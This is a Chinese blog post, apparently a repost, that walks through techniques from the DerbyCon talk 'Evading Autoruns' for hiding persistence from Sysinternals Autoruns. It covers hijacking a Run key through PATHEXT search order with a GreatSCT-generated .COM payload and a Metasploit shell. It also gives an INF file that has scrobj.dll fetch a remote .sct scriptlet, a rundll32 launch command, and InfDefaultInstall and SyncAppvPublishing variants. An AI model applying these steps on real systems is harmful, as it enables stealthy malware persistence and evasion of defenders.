天天看點

http://bobao.360.cn/learning/detail/4666.html

背景

在第七屆的DerbyCon大會上, Chris Bisnett和Kyle Hanslovan發表了一個名叫“Evading Autoruns”的演講。在這篇演講中, Kyle 和Chris展示了繞過微軟Sysinternals Autoruns工具檢查的方法。他們主要利用“PATHEXT”這個Windows環境變量以及Microsoft簽名的可執行檔案來持久運作系統資料庫項。由于這些家夥的演講實在是太精彩了,是以我強烈推薦你們看一下他們以下釋出的與演講有關的資料:

<a href="https://www.youtube.com/watch?v=AEmuhCwFL5I&amp;feature=youtu.be" target="_blank">Talk</a>

<a href="https://github.com/huntresslabs/evading-autoruns/raw/master/Evading_Autoruns_Slides.pdf" target="_blank">Slides</a>

<a href="https://github.com/huntresslabs/evading-autoruns/blob/master/pocs.bat" target="_blank">PoC</a>

<a href="https://github.com/huntresslabs/evading-autoruns/blob/master/shady.inf" target="_blank">Example “shady” INF</a>

<a href="https://github.com/huntresslabs/evading-autoruns" target="_blank">Github</a>

摘要

從攻擊者的視角來看,擷取對遠端機器的通路權限是關鍵;而從安全防護的視角來看,發現攻擊者的蹤迹同樣重要。在這次演講中,Kyle 和Chris披露了幾種“高端”技術用于繞過最常見的系統監視工具,這些“高端”技術涉及重新建立系統資料庫中的run key、非正常利用搜尋順序以及利用可信應用程式。為了補充他們的技術說明,針對每種繞過方法本文都将包括demo示範和檢測建議。現在我們已經回顧了上述所有的材料,下面我們對該演講中有趣的技術内容進行深入探讨。

Autoruns擴充搜尋順序技術

在幻燈片68頁,我們看到一個有趣的聲明,具體如下圖所示:

http://bobao.360.cn/learning/detail/4666.html

上圖中紅色框中的内容讓我想起Windows上的“PATHEXT”環境變量,之後我繼續閱讀下面幾張幻燈片,以確定我了解搜尋順序如何工作,然後我看到以下幻燈片。

http://bobao.360.cn/learning/detail/4666.html

通過上圖我們發現,PATHEXT環境變量在 '.EXE' 之前會去查找'.COM'擴充名,并且這一發現在下一張幻燈片中得到了驗證,這讓我想起了Derbycon 3.0中的Christopher Campbell和Matt Graeber的“Living Off the Land”演講 。

http://bobao.360.cn/learning/detail/4666.html

現在,我們了解了搜尋順序是如何工作的。理論上,如果我們修改了現有的系統資料庫項,那麼我們應該可以加載'.COM'而不是'.EXE',因為搜尋順序會首先查找'.COM'擴充名,這正是利用了Windows的工作原理,下面我們繼續研究他們的幻燈片。

http://bobao.360.cn/learning/detail/4666.html

上圖看起來像是Windows 10上Windows Defender的系統資料庫項。我猜測下面必須要将這個系統資料庫項的值從“C:\ Program Files \ Windows Defender \ MSASCuiL.exe”修改為“C:\ Program Files \ Windows Defender \ MSASCuiL”,并将“.COM”檔案放在同一目錄中。 下面讓我們來看看我的猜測是否正确。

http://bobao.360.cn/learning/detail/4666.html

通過上圖發現我的猜測是對的。我們來看看他們是否将“.COM”檔案添加到同一個目錄了。

http://bobao.360.cn/learning/detail/4666.html

從上面ppt上來看他們的确那麼做了,下面我們來研究一下AutoRuns程式。

通過上圖發現,這的确是一個十分漂亮的繞過,從圖中可以看到我們的“.COM”檔案的發行者是“Microsoft Corporation”。

<code>git clone https:</code><code>//github</code><code>.com</code><code>/GreatSCT/GreatSCT</code>

<code>python3 gr8sct.py</code>

http://bobao.360.cn/learning/detail/4666.html

執行上述兩個操作之後将看到以下提示,按任意鍵開始實驗。

http://bobao.360.cn/learning/detail/4666.html

我們将使用“SCT / regsvr32.cfg”選項,輸入3,然後按Enter鍵。下圖是上述生成的payload的配置參數:

http://bobao.360.cn/learning/detail/4666.html

注意我将輸出檔案設定為“MSASCuiL.com”。輸入generate,然後按Enter鍵。

http://bobao.360.cn/learning/detail/4666.html

現在我們生成了一個COM有效載荷,下面我們可以測試“擴充搜尋順序”技術了。 首先安裝一個有Excel的Windows 7虛拟機。第一步,讓我們修改Windows Defender系統資料庫項:

<code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SecurityHealth (REG_EXPAND_SZ) –C:\Program Files\Windows Defender\MSASCui</code>

http://bobao.360.cn/learning/detail/4666.html

将COM有效載荷放在C:\Program Files\Windows Defender\并命名為“MSASCui.com”

http://bobao.360.cn/learning/detail/4666.html

下一步設定metasploit的監聽程式:

http://bobao.360.cn/learning/detail/4666.html

然後重新啟動Windows 7 VM并等待我們的shell。

http://bobao.360.cn/learning/detail/4666.html

從上圖可以看到,我們成功擷取到了一個shell。

Autoruns INF 技術

首先讓我們來看一下Casey Smith (@subtee)關于Scriptlets的介紹:

http://bobao.360.cn/learning/detail/4666.html

下面是安全防護對上述攻擊的防護:

http://bobao.360.cn/learning/detail/4666.html

Chris和Kyle在MSDN上發現了關于“INF”檔案的介紹。

http://bobao.360.cn/learning/detail/4666.html

下面我們繼續浏覽他們的幻燈片,看看是否有關于“INF”的例子。

http://bobao.360.cn/learning/detail/4666.html

上圖的确是一個關于“INF”檔案的例子,但這是如何工作的?通過閱讀下面這張ppt我發現他們使用的是“rundll32.exe”而不是“regsvr32.exe”。

http://bobao.360.cn/learning/detail/4666.html

下面我将示範如何使用“rundll32.exe”和“INF”檔案來繞過微軟的Antorun技術。

http://bobao.360.cn/learning/detail/4666.html

在本實驗中我依然使用上述使用GreatSCT工具生成的payload,而且出于安全性的考慮,我将對ppt中提供的shady.inf進行修改,内容如下所示:

<code>; ———————————————————————-</code>

<code>; Required Sections</code>

<code>[Version]</code>

<code>Signature=$CHICAGO$</code>

<code>Provider=test</code>

<code>Class=Printer</code>

<code>[Manufacturer]</code>

<code>HuntressLabs=ModelsSection,NTx86,NTia64,NTamd64</code>

<code>; Models Section</code>

<code>[ModelsSection.NTx86]</code>

<code>UnregisterDlls = Squiblydoo</code>

<code>[ModelsSection.NTia64]</code>

<code>[ModelsSection.NTamd64]</code>

<code>; Support Sections</code>

<code>[DefaultInstall]</code>

<code>[Squiblydoo]</code>

<code>11,,scrobj.dll,2,60,https://blog.conscioushacker.io/testaroo.sct</code>

我将上述内容儲存到“testaroo.inf”檔案中,并将放在我的桌面上。下一步是建立一個系統資料庫項。

http://bobao.360.cn/learning/detail/4666.html

與上一個實驗一樣:首先設定一個metasploit監聽器,然後重新啟動Windows 7 VM并等待shell回連。但是我并沒有得到一個shell,是以我打開Process Hacker來查找原因。

http://bobao.360.cn/learning/detail/4666.html

在上圖程序樹中我并沒有找到rundll32.exe,但通過在Windows 7上手動執行“rundll32.exe setupapi,InstallHinfSection ModelsSection 128 C:\Users\lopi\Desktop\testaroo.inf”時,我發現是可以得到一個回連的shell的,但Windows 10上卻不行。通過查閱資料我找到了原因,Chris和Kyle在他們的演講中并沒有提到這些内容,那就是:Windows 10要求驅動程式必須具有合法的簽名,以便在沒有使用者提示的情況下進行安裝。

Autoruns InfDefaultInstall.exe 技術

接下來我們介紹InfDefaultInstall.exe技術,具體如下圖所示:

http://bobao.360.cn/learning/detail/4666.html

通過閱讀ppt我發現,我們可以使用“InfDefaulInstall.exe”而不是“rundll32.exe”,并可以使用相同的方式将它應用到以前的技術。首先我們啟動Windows 10 VM,然後我們看看是否有相同的數字簽名以及UAC是否提示“InfDefaultInstall.exe”。

http://bobao.360.cn/learning/detail/4666.html

有UAC的提示,但是數字簽名怎麼樣呢?

http://bobao.360.cn/learning/detail/4666.html

實驗中我們發現Windows 10上好像并不行,是以我建議在Windows 7以下的作業系統上使用這種技術。而且,在Windows 7和Windows 10作業系統上,我也依然無法通過的autoruns系統資料庫項使其工作。盡管該技術在Chris和Kyle的演講中看起來很神奇,但在實踐中卻不是這樣的。

Autoruns SyncAppvPublishing.exe 技術

讓我們通過一張幻燈片來直接介紹該技術吧。

http://bobao.360.cn/learning/detail/4666.html

該技術看起來很簡單,下面我們試着在Windows 10 VM中添加一個系統資料庫項。

http://bobao.360.cn/learning/detail/4666.html

現在我們重新啟動我們的Windows 10 VM并期待calc.exe應用程式能夠執行起來,實驗結果如下圖所示:

http://bobao.360.cn/learning/detail/4666.html

Ok, 我們成功彈出了電腦程式!

本文轉自fatshi51CTO部落格,原文連結: http://blog.51cto.com/duallay/1979860,如需轉載請自行聯系原作者

繼續閱讀